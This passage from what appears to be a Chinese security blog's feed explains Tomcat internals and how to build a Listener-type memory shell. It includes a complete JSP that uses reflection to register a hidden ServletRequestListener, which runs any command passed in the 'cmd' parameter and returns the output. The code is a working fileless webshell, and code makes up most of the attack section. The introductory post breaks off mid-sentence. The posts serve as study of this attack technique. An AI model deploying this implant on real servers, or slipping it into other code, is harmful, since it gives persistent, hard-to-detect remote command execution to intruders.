Filter 并执行 Filter 的 <code>doFilter</code> 方法。</li></ul>]]></content>
<tags>
<tag> 代码审计 </tag>
<tag> Java安全 </tag>
<tag> 内存马 </tag>
</tags>
</entry>
<entry>
<title>Tomcat-Listener型内存马</title>
<link href="/2023/08/11/Tomcat-Listener%E5%9E%8B%E5%86%85%E5%AD%98%E9%A9%AC/"/>
<url>/2023/08/11/Tomcat-Listener%E5%9E%8B%E5%86%85%E5%AD%98%E9%A9%AC/</url>
<content type="html"><![CDATA[<p>[toc]</p><h2 id="0x01-listener基础知识"><a class="markdownIt-Anchor" href="#0x01-listener基础知识">#</a> 0x01 Listener 基础知识</h2><p>Java Web 开发中的监听器(Listener)就是 Application、Session 和 Request 三大对象创建、销毁或者往其中添加、修改、删除属性时自动执行代码的功能组件。</p><h3 id="用途"><a class="markdownIt-Anchor" href="#用途">#</a> 用途</h3><p>可以使用监听器监听客户端的请求、服务端的操作等。通过监听器,可以自动出发一些动作,比如监听在线的用户数量,统计网站访问量、网站访问监控等。</p><h3 id="listener三个域对象"><a class="markdownIt-Anchor" href="#listener三个域对象">#</a> Listener 三个域对象</h3><p>我们知道监听器的过程:Listener -> Filter -> Servlet</p><p>Listener 是最先被加载的,所以可以利用动态注册恶意的 Listener 内存马。而 Listener 分为以下几种:</p><ul><li>ServletContextListener:服务器启动和终止时触发</li><li>HttpSessionListener:有关 Session 操作时触发</li><li>ServletRequestListener:访问服务时触发</li></ul><p>很明显,ServletRequestListener 是最适合用来作为内存马的。因为 ServletRequestListener 是用来监听 ServletRequest 对 象的,当我们访问任意资源时,都会触发 <code>ServletRequestListener#requestInitialized()</code> 方法。下面我们来实现一个恶意的 Listener</p><h2 id="0x02-分析"><a class="markdownIt-Anchor" href="#0x02-分析">#</a> 0x02 分析</h2><p>内存马的实现其实就是动态注册一个 Filter/Servlet/Listener 然后在其中编写恶意方法,那么就能起到文件不落地并执行命令的目的</p><p>所以在编写 Listener 内存马 Payload 的时候我们首先需要捋清楚 Tomcat 中 Listener 的注册流程</p><p>最直观的方式就是编写一个 Listener 然后通过断点去分析注册流程</p><h2 id="0x03-listener基础代码实现"><a class="markdownIt-Anchor" href="#0x03-listener基础代码实现">#</a> 0x03 Listener 基础代码实现</h2><p>和 Filter 型内存马一样的, Filter 内存马需要定义一个实现 Filter 接口的类,如果在 Tomcat 要引入 Listener,需要实现两种接口,分别是 LifecycleListener 和原生 EvenListener。</p><p>实现了 LifecycleListener 接口的监听器一般作用于 tomcat 初始化启动阶段,此时客户端的请求还没进入解析阶段,不适合用于内存马。另一个 EventListener 接口,在 Tomcat 中,自定义了很多继承于 EventListener 的接口,应用于各个对象的监听。</p><p><code>requestInitialized</code> **:** 在 request 对象创建时触发</p><p><code>requestDestroyed</code> **:** 在 request 对象销毁时触发</p><p>这里进行测试</p><p>Listener 的业务必须实现 EventListener 接口</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20231202164905791.png" alt="image-20231202164905791"></p><p>它的实现类非常多,关键是要找到一个每次请求都会触发的 Listener</p><p>通过 Tomcat 的学习我们知道 Sevlet 是规范接口,所以我们是这去找 Servlet 开头的 Listener</p><p>这里尝试 ServletRequestListener</p><p>因为根据名字以及其中的 requestInitialized 方法感觉我们的发送的每个请求都会触发这个监控器</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20231202192356792.png" alt="image-20231202192356792"></p><p>写一个监听器</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> Listener; </span><br><span class="line"> </span><br><span class="line"><span class="keyword">import</span> javax.servlet.ServletRequestEvent; </span><br><span class="line"><span class="keyword">import</span> javax.servlet.ServletRequestListener; </span><br><span class="line"><span class="keyword">import</span> javax.servlet.annotation.WebListener; </span><br><span class="line"><span class="keyword">import</span> java.util.EventListener; </span><br><span class="line"> </span><br><span class="line"><span class="meta">@WebListener("/listenerTest")</span> </span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">ListenerTest</span> <span class="keyword">implements</span> <span class="title class_">ServletRequestListener</span> { </span><br><span class="line"> </span><br><span class="line"> <span class="keyword">public</span> <span class="title function_">ListenerTest</span><span class="params">()</span>{ </span><br><span class="line"> } </span><br><span class="line"> </span><br><span class="line"> <span class="meta">@Override</span> </span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">requestDestroyed</span><span class="params">(ServletRequestEvent sre)</span> { </span><br><span class="line"> </span><br><span class="line"> } </span><br><span class="line"> </span><br><span class="line"> <span class="meta">@Override</span> </span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">requestInitialized</span><span class="params">(ServletRequestEvent sre)</span> { </span><br><span class="line"> System.out.println(<span class="string">"Listener 被调用"</span>); </span><br><span class="line"> } </span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>在 web.xml 添加</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag"><<span class="name">listener</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">listener-class</span>></span>com.example.tomcat_listener.ListenerTest<span class="tag"></<span class="name">listener-class</span>></span></span><br><span class="line"><span class="tag"></<span class="name">listener</span>></span></span><br></pre></td></tr></table></figure><p>说明 listener 已经注册到程序中了</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20231202203412233.png" alt="image-20231202203412233"></p><h2 id="0x04-listener流程分析"><a class="markdownIt-Anchor" href="#0x04-listener流程分析">#</a> 0x04 Listener 流程分析</h2><p>经过上面的 Listener 流程,首先要确认内存马的位置,也就是对象创建初始化的地方,其次是 Listener 是如何动态注册的</p><p>打上断点</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20231202214929345.png" alt="image-20231202214929345"></p><p>在 standardhostvalve 这里获取到 request 中的 StandardContext 对象</p><p>获取对象后调用 fireRequestInitEvent 方法</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20231202231803984.png" alt="image-20231202231803984"></p><p>跟进</p><p>可以看到是通过遍历 instances 数组,而 instances 数组就是通过 getApplicationEventListeners 方法来进行获取的值</p><p>最终到达 listenner 的初始化方法,初始化我们的恶意 listener</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20231202234313887.png" alt="image-20231202234313887"></p><p>在这之中又调用了 getApplicationEventListeners 方法</p><p>这里就是将获取的对象以数组形式返回,为了后面的遍历然后初始化</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20231202234830099.png" alt="image-20231202234830099"></p><p>添加 listener 的地方</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20231202234918687.png" alt="image-20231202234918687"></p><p>那么我们只需要获取 StandardContext, 然后调用 addApplicationEventListener 并传入自定义的 Listener 实例即可成功注入内存马</p><p>大概来梳理一下流程</p><p>首先就是获取到 StandardContext,然后通过 addApplicationEventListener 加载 listener</p><p>最后初始化 requestInitialized</p><h2 id="获取request和response对象"><a class="markdownIt-Anchor" href="#获取request和response对象">#</a> 获取 Request 和 Response 对象</h2><p>首先明确 StandardContext 对象的获取</p><p>在 StandardHostValve 中的 invoke 方法获取 StandardContext</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20231203004448502.png" alt="image-20231203004448502"></p><p>然后到 Servlet 请求事件</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20231203150918969.png" alt="image-20231203150918969"></p><p>可以看到 request 是 RequestFacade 的实例</p><p>查看 RequestFacade 的定义,这里有我们需要的 request 属性</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20231203152403222.png" alt="image-20231203152403222"></p><p>那我们通过反射获取私有字段即可完成对 Request 对象的构造</p><h2 id="构造exp"><a class="markdownIt-Anchor" href="#构造exp">#</a> 构造 EXP</h2><p>首先是反射构造 Request 对象</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">cmd = sre.getServletRequest().getParameter(<span class="string">"cmd"</span>);</span><br><span class="line"> org.apache.catalina.connector.<span class="type">RequestFacade</span> <span class="variable">requestFacade</span> <span class="operator">=</span> (RequestFacade) sre.getServletRequest();</span><br><span class="line"> <span class="type">Field</span> <span class="variable">requestFacadefield</span> <span class="operator">=</span> Class.forName(<span class="string">"org.apache.catalina.connector.RequestFacade"</span>).getDeclaredField(<span class="string">"request"</span>);</span><br><span class="line"> requestFacadefield.setAccessible(<span class="literal">true</span>);</span><br><span class="line"> <span class="type">Request</span> <span class="variable">request</span> <span class="operator">=</span> (Request) requestFacadefield.get(requestFacade);</span><br><span class="line"> <span class="type">Response</span> <span class="variable">response</span> <span class="operator">=</span> request.getResponse();</span><br></pre></td></tr></table></figure><p>然后是恶意类</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> (cmd !=<span class="literal">null</span>){</span><br><span class="line"> <span class="type">InputStream</span> <span class="variable">inputStream</span> <span class="operator">=</span> Runtime.getRuntime().exec(cmd).getInputStream();</span><br><span class="line"> <span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> -<span class="number">1</span>;</span><br><span class="line"> <span class="type">byte</span>[] bytes = <span class="keyword">new</span> <span class="title class_">byte</span>[<span class="number">2048</span>];</span><br><span class="line"> <span class="keyword">while</span> ((i=inputStream.read(bytes)) !=-<span class="number">1</span>){</span><br><span class="line"> response.getWriter().write(<span class="keyword">new</span> <span class="title class_">String</span>(bytes,<span class="number">0</span>,i));</span><br><span class="line"> response.getWriter().write(<span class="string">"\r\n"</span>);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }<span class="keyword">catch</span> (Exception e){</span><br><span class="line"> e.printStackTrace();</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20231203185635753.png" alt="image-20231203185635753"></p><p>下面就是把 listener 动态注册进去</p><p>调用 getApplicationEventListeners 获取 applicationEventListenersList</p><p>把我们构造的 Listener 添加进去</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">Object[] objects = standardContext.getApplicationEventListeners();</span><br><span class="line">List<Object> listeners = Arrays.asList(objects);</span><br><span class="line">List<Object> arrayList = <span class="keyword">new</span> <span class="title class_">ArrayList</span>(listeners);</span><br><span class="line">arrayList.add(<span class="keyword">new</span> <span class="title class_">ListenerMemShell</span>());</span><br><span class="line">standardContext.setApplicationEventListeners(arrayList.toArray()); </span><br></pre></td></tr></table></figure><p>然后是上下文环境,方法都在 StandardContext 中。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">ServletContext</span> <span class="variable">servletContext</span> <span class="operator">=</span> request.getServletContext(); </span><br><span class="line"> <span class="type">Field</span> <span class="variable">applicationContextField</span> <span class="operator">=</span> servletContext.getClass().getDeclaredField(<span class="string">"context"</span>);</span><br><span class="line"> applicationContextField.setAccessible(<span class="literal">true</span>);</span><br><span class="line"> <span class="type">ApplicationContext</span> <span class="variable">applicationContext</span> <span class="operator">=</span> (ApplicationContext) applicationContextField.get(servletContext);</span><br><span class="line"></span><br><span class="line"> <span class="type">Field</span> <span class="variable">standardContextField</span> <span class="operator">=</span> applicationContext.getClass().getDeclaredField(<span class="string">"context"</span>);</span><br><span class="line"> standardContextField.setAccessible(<span class="literal">true</span>);</span><br><span class="line"> <span class="type">StandardContext</span> <span class="variable">standardContext</span> <span class="operator">=</span> (StandardContext) standardContextField.get(applicationContext);</span><br></pre></td></tr></table></figure><p>至此 Listener 内存马大致就构造好了</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br></pre></td><td class="code"><pre><span class="line"><%@ page import="org.apache.catalina.core.StandardContext" %></span><br><span class="line"><%@ page import="java.util.List" %></span><br><span class="line"><%@ page import="java.util.Arrays" %></span><br><span class="line"><%@ page import="org.apache.catalina.core.ApplicationContext" %></span><br><span class="line"><%@ page import="java.lang.reflect.Field" %></span><br><span class="line"><%@ page import="java.util.ArrayList" %></span><br><span class="line"><%@ page import="java.io.InputStream" %></span><br><span class="line"><%@ page import="org.apache.catalina.connector.Request" %></span><br><span class="line"><%@ page import="org.apache.catalina.connector.Response" %></span><br><span class="line"><%!</span><br><span class="line"></span><br><span class="line"> class ListenerMemShell implements ServletRequestListener {</span><br><span class="line"></span><br><span class="line"> @Override</span><br><span class="line"> public void requestInitialized(ServletRequestEvent sre) {</span><br><span class="line"> String cmd;</span><br><span class="line"> try {</span><br><span class="line"> cmd = sre.getServletRequest().getParameter("cmd");</span><br><span class="line"> org.apache.catalina.connector.RequestFacade requestFacade = (org.apache.catalina.connector.RequestFacade) sre.getServletRequest();</span><br><span class="line"> Field requestField = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request");</span><br><span class="line"> requestField.setAccessible(true);</span><br><span class="line"> Request request = (Request) requestField.get(requestFacade);</span><br><span class="line"> Response response = request.getResponse();</span><br><span class="line"></span><br><span class="line"> if (cmd != null){</span><br><span class="line"> InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();</span><br><span class="line"> int i = 0;</span><br><span class="line"> byte[] bytes = new byte[1024];</span><br><span class="line"> while ((i=inputStream.read(bytes)) != -1){</span><br><span class="line"> response.getWriter().write(new String(bytes,0,i));</span><br><span class="line"> response.getWriter().write("\r\n");</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }catch (Exception e){</span><br><span class="line"> e.printStackTrace();</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> @Override</span><br><span class="line"> public void requestDestroyed(ServletRequestEvent sre) {</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">%></span><br><span class="line"></span><br><span class="line"><%</span><br><span class="line"> ServletContext servletContext = request.getServletContext();</span><br><span class="line"> Field applicationContextField = servletContext.getClass().getDeclaredField("context");</span><br><span class="line"> applicationContextField.setAccessible(true);</span><br><span class="line"> ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);</span><br><span class="line"></span><br><span class="line"> Field standardContextField = applicationContext.getClass().getDeclaredField("context");</span><br><span class="line"> standardContextField.setAccessible(true);</span><br><span class="line"> StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);</span><br><span class="line"></span><br><span class="line"> Object[] objects = standardContext.getApplicationEventListeners();</span><br><span class="line"> List<Object> listeners = Arrays.asList(objects);</span><br><span class="line"> List<Object> arrayList = new ArrayList(listeners);</span><br><span class="line"> arrayList.add(new ListenerMemShell());</span><br><span class="line"> standardContext.setApplicationEventListeners(arrayList.toArray());</span><br><span class="line"></span><br><span class="line">%></span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20231203185751767.png" alt="image-20231203185751767"></p>]]></content>
<tags>
<tag> 代码审计 </tag>
<tag> Java安全 </tag>
<tag> 内存马 </tag>
</tags>
</entry>
<entry>
<title>内存马基础学习(一)</title>
<link href="/2023/08/01/%E5%86%85%E5%AD%98%E9%A9%AC%E5%9F%BA%E7%A1%80%E5%AD%A6%E4%B9%A0(%E4%B8%80)/"/>
<url>/2023/08/01/%E5%86%85%E5%AD%98%E9%A9%AC%E5%9F%BA%E7%A1%80%E5%AD%A6%E4%B9%A0(%E4%B8%80)/</url>
<content type="html"><![CDATA[<p>[toc]</p><h2 id="0x01-前言"><a class="markdownIt-Anchor" href="#0x01-前言">#</a> 0x01 前言</h2><p>熟悉一下 Tomcat 框架</p><h2 id="0x02-java-web-三大件"><a class="markdownIt-Anchor" href="#0x02-java-web-三大件">#</a> 0x02 Java web 三大件</h2><p>Servlet,Filter,Listener</p><p>当 Tomcat 接收到请求时候,依次会经过 Listener -> Filter -> Servlet</p><h3 id="servlet"><a class="markdownIt-Anchor" href="#servlet">#</a> Servlet</h3><h4 id="概念"><a class="markdownIt-Anchor" href="#概念">#</a> 概念</h4><p>Java Servlet 是运行在 Web 服务器或应用服务器上的程序,它是作为来自 Web 浏览器或其他 HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层。</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/ServletLike.png" alt="img"></p><h4 id="请求流程"><a class="markdownIt-Anchor" href="#请求流程">#</a> 请求流程</h4><p>客户端发起一个 http 请求,比如 get 类型。</p><p>Servlet 容器接收到请求,根据请求信息,封装成 HttpServletRequest 和 HttpServletResponse 对象。这步也就是我们的传参。</p><p>Servlet 容器调用 HttpServlet 的 init () 方法,init 方法只在第一次请求的时候被调用。</p><p>Servlet 容器调用 service () 方法。</p><p>service () 方法根据请求类型,这里是 get 类型,分别调用 doGet 或者 doPost 方法,这里调用 doGet 方法。</p><p>doXXX 方法中是我们自己写的业务逻辑。</p><p>业务逻辑处理完成之后,返回给 Servlet 容器,然后容器将结果返回给客户端。</p><p>容器关闭时候,会调用 destory 方法。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> javax.servlet.*; </span><br><span class="line"><span class="keyword">import</span> javax.servlet.annotation.WebServlet; </span><br><span class="line"><span class="keyword">import</span> java.io.IOException; </span><br><span class="line"> </span><br><span class="line"><span class="comment">// 基础恶意类 </span></span><br><span class="line"><span class="meta">@WebServlet("/servlet")</span> </span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">ServletTest</span> <span class="keyword">implements</span> <span class="title class_">Servlet</span> { </span><br><span class="line"> <span class="meta">@Override</span> </span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">init</span><span class="params">(ServletConfig config)</span> <span class="keyword">throws</span> ServletException { </span><br><span class="line"> </span><br><span class="line"> } </span><br><span class="line"> </span><br><span class="line"> <span class="meta">@Override</span> </span><br><span class="line"> <span class="keyword">public</span> ServletConfig <span class="title function_">getServletConfig</span><span class="params">()</span> { </span><br><span class="line"> <span class="keyword">return</span> <span class="literal">null</span>; </span><br><span class="line"> } </span><br><span class="line"> </span><br><span class="line"> <span class="meta">@Override</span> </span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">service</span><span class="params">(ServletRequest req, ServletResponse res)</span> <span class="keyword">throws</span> ServletException, IOException { </span><br><span class="line"> } </span><br><span class="line"> </span><br><span class="line"> <span class="meta">@Override</span> </span><br><span class="line"> <span class="keyword">public</span> String <span class="title function_">getServletInfo</span><span class="params">()</span> { </span><br><span class="line"> <span class="keyword">return</span> <span class="literal">null</span>; </span><br><span class="line"> } </span><br><span class="line"> </span><br><span class="line"> <span class="meta">@Override</span> </span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">destroy</span><span class="params">()</span> { </span><br><span class="line"> </span><br><span class="line"> } </span><br><span class="line">}</span><br></pre></td></tr></table></figure><h4 id="生命周期"><a class="markdownIt-Anchor" href="#生命周期">#</a> 生命周期</h4><blockquote><p>1)服务器启动时 (web.xml 中配置 load-on-startup=1,默认为 0) 或者第一次请求该 servlet 时,就会初始化一个 Servlet 对象,也就是会执行初始化方法 init (ServletConfig conf)。</p><p>2)servlet 对象去处理所有客户端请求,在 service (ServletRequest req,ServletResponse res) 方法中执行</p><p>3)服务器关闭时,销毁这个 servlet 对象,执行 destroy () 方法。</p><p>4)由 JVM 进行垃圾回收。</p></blockquote><h3 id="filter"><a class="markdownIt-Anchor" href="#filter">#</a> Filter</h3><h4 id="概念-2"><a class="markdownIt-Anchor" href="#概念-2">#</a> 概念</h4><blockquote><p>filter 也称之为过滤器,是对 Servlet 技术的一个强补充,其主要功能是在 HttpServletRequest 到达 Servlet 之前,拦截客户的 HttpServletRequest ,根据需要检查 HttpServletRequest,也可以修改 HttpServletRequest 头和数据;在 HttpServletResponse 到达客户端之前,拦截 HttpServletResponse ,根据需要检查 HttpServletResponse,也可以修改 HttpServletResponse 头和数据。</p></blockquote><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/filterWorking.png" alt="img"></p><p>这里如果我们自己创建一个 filter,放在正常流程的 filter 之前,并且将恶意代码注册进去,那就可以达到命令执行效果,也就成为了一个内存 webshell</p><h4 id="基本工作原理"><a class="markdownIt-Anchor" href="#基本工作原理">#</a> 基本工作原理</h4><blockquote><p>1、Filter 程序是一个实现了特殊接口的 Java 类,与 Servlet 类似,也是由 Servlet 容器进行调用和执行的。</p><p>2、当在 web.xml 注册了一个 Filter 来对某个 Servlet 程序进行拦截处理时,它可以决定是否将请求继续传递给 Servlet 程序,以及对请求和响应消息是否进行修改。</p><p>3、当 Servlet 容器开始调用某个 Servlet 程序时,如果发现已经注册了一个 Filter 程序来对该 Servlet 进行拦截,那么容器不再直接调用 Servlet 的 service 方法,而是调用 Filter 的 doFilter 方法,再由 doFilter 方法决定是否去激活 service 方法。</p><p>4、但在 Filter.doFilter 方法中不能直接调用 Servlet 的 service 方法,而是调用 FilterChain.doFilter 方法来激活目标 Servlet 的 service 方法,FilterChain 对象时通过 Filter.doFilter 方法的参数传递进来的。</p><p>5、只要在 Filter.doFilter 方法中调用 FilterChain.doFilter 方法的语句前后增加某些程序代码,这样就可以在 Servlet 进行响应前后实现某些特殊功能。</p><p>6、如果在 Filter.doFilter 方法中没有调用 FilterChain.doFilter 方法,则目标 Servlet 的 service 方法不会被执行,这样通过 Filter 就可以阻止某些非法的访问请求。</p></blockquote><p>也就是说</p><p>Filter 中的 Filter 访问需要在 web.xml 里面定义路径</p><p>Filter 有一条 FilterChain,也就是由多个 Filter 组成的,会进行一个个的 Filter 操作,最后一个 Filter 最后会执行 Servlet.service ()</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/image-20230809100404774.png" alt="image-20230809100404774"></p><h4 id="生命周期-2"><a class="markdownIt-Anchor" href="#生命周期-2">#</a> 生命周期</h4><blockquote><p>与 servlet 一样,Filter 的创建和销毁也由 Web 容器负责。Web 应用程序启动时,Web 服务器将创建 Filter 的实例对象,并调用其 init () 方法,读取 web.xml 配置,完成对象的初始化功能,从而为后续的用户请求作好拦截的准备工作(filter 对象只会创建一次,init 方法也只会执行一次)。开发人员通过 init 方法的参数,可获得代表当前 filter 配置信息的 FilterConfig 对象。 Filter 对象创建后会驻留在内存,当 Web 应用移除或服务器停止时才销毁。在 Web 容器卸载 Filter 对象之前被调用。该方法在 Filter 的生命周期中仅执行一次。在这个方法中,可以释放过滤器使用的资源。</p></blockquote><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> javax.servlet.*; </span><br><span class="line"><span class="keyword">import</span> java.io.IOException; </span><br><span class="line"> </span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">FilterTest</span> <span class="keyword">implements</span> <span class="title class_">Filter</span> { </span><br><span class="line"> <span class="meta">@Override</span> </span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">init</span><span class="params">(FilterConfig filterConfig)</span> <span class="keyword">throws</span> ServletException { </span><br><span class="line"> </span><br><span class="line"> } </span><br><span class="line"> </span><br><span class="line"> <span class="meta">@Override</span> </span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">doFilter</span><span class="params">(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain)</span> <span class="keyword">throws</span> IOException, ServletException { </span><br><span class="line"> <span class="comment">// 在这里面进行 doGet 和 doPost 这种类似的 </span></span><br><span class="line"> } </span><br><span class="line"> </span><br><span class="line"> <span class="meta">@Override</span> </span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">destroy</span><span class="params">()</span> { </span><br><span class="line"> </span><br><span class="line"> } </span><br><span class="line">}</span><br></pre></td></tr></table></figure><h4 id="filter链"><a class="markdownIt-Anchor" href="#filter链">#</a> Filter 链</h4><blockquote><p>当多个 Filter 同时存在的时候,组成了 Filter 链。Web 服务器根据 Filter 在 web.xml 文件中的注册顺序,决定先调用哪个 Filter。当第一个 Filter 的 doFilter 方法被调用时,web 服务器会创建一个代表 Filter 链的 FilterChain 对象传递给该方法,通过判断 FilterChain 中是否还有 Filter 决定后面是否还调用 Filter。</p></blockquote><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/FilterChain.png" alt="img"></p><h3 id="listener"><a class="markdownIt-Anchor" href="#listener">#</a> Listener</h3><h4 id="概念-3"><a class="markdownIt-Anchor" href="#概念-3">#</a> 概念</h4><blockquote><p>Java Web 开发中的监听器(Listener)就是 Application、Session 和 Request 三大对象创建、销毁或者往其中添加、修改、删除属性时自动执行代码的功能组件。</p><p>ServletContextListener:对 Servlet 上下文的创建和销毁进行监听; ServletContextAttributeListener:监听 Servlet 上下文属性的添加、删除和替换;</p><p>HttpSessionListener:对 Session 的创建和销毁进行监听。Session 的销毁有两种情况,一个中 Session 超时,还有一种是通过调用 Session 对象的 invalidate () 方法使 session 失效。</p><p>HttpSessionAttributeListener:对 Session 对象中属性的添加、删除和替换进行监听;ServletRequestListener:对请求对象的初始化和销毁进行监听; ServletRequestAttributeListener:对请求对象属性的添加、删除和替换进行监听。</p></blockquote><h2 id="0x03-tomcat基础介绍"><a class="markdownIt-Anchor" href="#0x03-tomcat基础介绍">#</a> 0x03 Tomcat 基础介绍</h2><blockquote><p>Apache 是 Web 服务器(静态解析,如 HTML),Tomcat 是 java 应用服务器(动态解析,如 JSP)</p><p>Tomcat 只是一个 servlet (jsp 也翻译成 servlet) 容器,可以认为是 Apache 的扩展,但是可以独立于 Apache 运行。</p></blockquote><h2 id="0x04-tomcat架构"><a class="markdownIt-Anchor" href="#0x04-tomcat架构">#</a> 0x04 Tomcat 架构</h2><p>主要有 server、service、connector、container 四个部分</p><p><img src="https://raw.githubusercontent.com/ki10Moc/img/main/TomcatStage.png" alt="img"></p><p>图中可以看出 Tomcat 的心脏是两个组件:Connector 和 Container:<br>Connector 主要负责对外交流,进行 Socket 通信 (基于 TCP/IP),解析 HTTP 报文,对应下图中的 http 服务器;</p><p>Container 主要处理 Connector 